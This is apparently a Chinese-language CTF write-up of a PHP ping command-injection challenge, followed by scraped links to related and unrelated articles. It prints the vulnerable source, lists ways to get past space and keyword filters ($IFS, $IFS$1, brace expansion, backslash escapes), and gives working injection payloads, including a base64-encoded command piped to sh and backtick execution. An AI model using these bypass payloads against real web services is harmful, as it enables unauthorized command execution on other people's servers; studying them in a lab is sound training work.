PING命令执行漏洞-绕过空格

  1. 环境地址:http://4bd16c11-36e4-4f17-aa8a-6570b4def85f.node4.buuoj.cn/

  1. 我们看到/?ip=可以试一下本地ip

看到这里我们就能知道命令执行方法大概就是加上管道符“|”或者“;”

  1. 我们列出目录下面的文件

    /?ip=127.0.0.1;ls

我们发现有flag.php和index.php两个文件,尝试读取flag.php

发现空格被过滤了(fxck your space就是过滤空格的意思!)

这边介绍一下绕过空格的方法大概有以下几种

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09 ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

然后我们尝试用 ${IFS} 绕过空格,发现{}被ban

然后我们在尝试用 $IFS$1 绕过空格,发现flag被ban

接着我们尝试读取一下index.php的内容

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo " ";
print_r($a);
} ?>

过滤了很多标点,空格,bash,flag,那么网上搜索有这几种做法:

cat fl* 利用*匹配任意 不行
echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
ca\t fl\ag.php 不行
cat fl''ag.php 不行

解决方法:

方法一:用变量拼接:我们发现源码中有一个$a变量可以覆盖

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

方法二:过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

方法三:内联执行的做法

?ip=127.0.0.1;cat$IFS$9`ls`

内联,就是将反引号内命令的输出作为输入执行

参考连接:

https://www.jianshu.com/p/fd7f9fcc9333

PING命令执行漏洞-绕过空格的更多相关文章

  1. [web安全原理]PHP命令执行漏洞基础

    前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...

  2. DVWA之Command injection(命令执行漏洞)

    目录 Low Medium Middle Impossible 命令执行漏洞的原理:在操作系统中, &  .&& .|  . ||   都可以作为命令连接符使用,用户通过浏览器 ...

  3. PHP代码审计笔记--命令执行漏洞

    命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: <?php $target=$_REQUEST['ip']; ...

  4. 齐治运维堡垒机后台存在命令执行漏洞(CNVD-2019-17294)分析

    基本信息 引用:https://www.cnvd.org.cn/flaw/show/CNVD-2019-17294 补丁信息:该漏洞的修复补丁已于2019年6月25日发布.如果客户尚未修复该补丁,可联 ...

  5. NETGEAR 系列路由器命令执行漏洞简析

    NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和 ...

  6. 2020/1/28 PHP代码审计之命令执行漏洞

    0x00 命令执行漏洞原理 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.passthru.popen.proc_popen等函数可以执行 ...

  7. PHP的命令执行漏洞学习

    首先我们来了解基础 基础知识来源于:<web安全攻防>徐焱 命令执行漏洞 应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system.exec.shell_exec.pas ...

  8. 文件包含上传漏洞&目录遍历命令执行漏洞

    文件上传漏洞: 一句话木马 一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量 执行函数: eval() assert() create_function() array_map() arr ...

  9. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

随机推荐

  1. redis中keys命令带来的线上性能问题

    起因 下午接到运维反馈,生产redis有个执行keys的命令请求太慢了,要两三秒才能响应 涉及命令如下: KEYS ttl_600::findHeadFootData-15349232-*-head ...

  2. .Net Core·寄托于IIS的REST服务405的问题

    阅文时长 | 0.48分钟 字数统计 | 828.8字符 主要内容 | 1.引言&背景 2.声明与参考资料 『.Net Core·寄托于IIS的REST服务405的问题』 编写人 | SCsc ...

  3. 通过Dapr实现一个简单的基于.net的微服务电商系统(十二)——istio+dapr构建多运行时服务网格

    多运行时是一个非常新的概念.在 2020 年,Bilgin Ibryam 提出了 Multi-Runtime(多运行时)的理念,对基于 Sidecar 模式的各种产品形态进行了实践总结和理论升华.那到 ...

  4. [Java] 数据分析 -- NoSQL数据库

    MongoDB概念:与关系型数据库对应 database(数据库):数据库 collection(集合):表 document(文档):行 field(域):列/字段 注意事项 文档是一组键值(key ...

  5. [刷题] PTA 03-树2 List Leaves

    程序: 1 #include <stdio.h> 2 #include <queue> 3 #define MaxTree 20 4 #define Null -1 5 usi ...

  6. bash调试 脚本第一行 加set -x #!/bin/expact -d

    #!/bin/bash set -x 脚本第一行加 #!/bin/expact -d

  7. 012.Ansible高级特性

    一 本地执行 如果希望在控制主机本地运行一个特定的任务,可以使用local_action语句. 假设我们需要配置的远程主机刚刚启动,如果我们直接运行playbook,可能会因为sshd服务尚未开始监听 ...

  8. C++ Error 个人笔记(live)

    1.error: invalid conversion from 'char' to 'char*' [-fpermissive] 原因: 把一个字符型的变量赋值给了一个字符型的指针 我的原因: 把 ...

  9. dmidecode -t1 | egrep "Manufacturer|Product Name"

    # dmidecode -t1 | egrep "Manufacturer|Product Name" Manufacturer: Loongson Product Name: L ...

  10. java 并发包JUC下的CountDownLatch和CyclicBarrier的理解和区别

    推荐这篇帖子,讲得不错~ https://blog.csdn.net/liangyihuai/article/details/83106584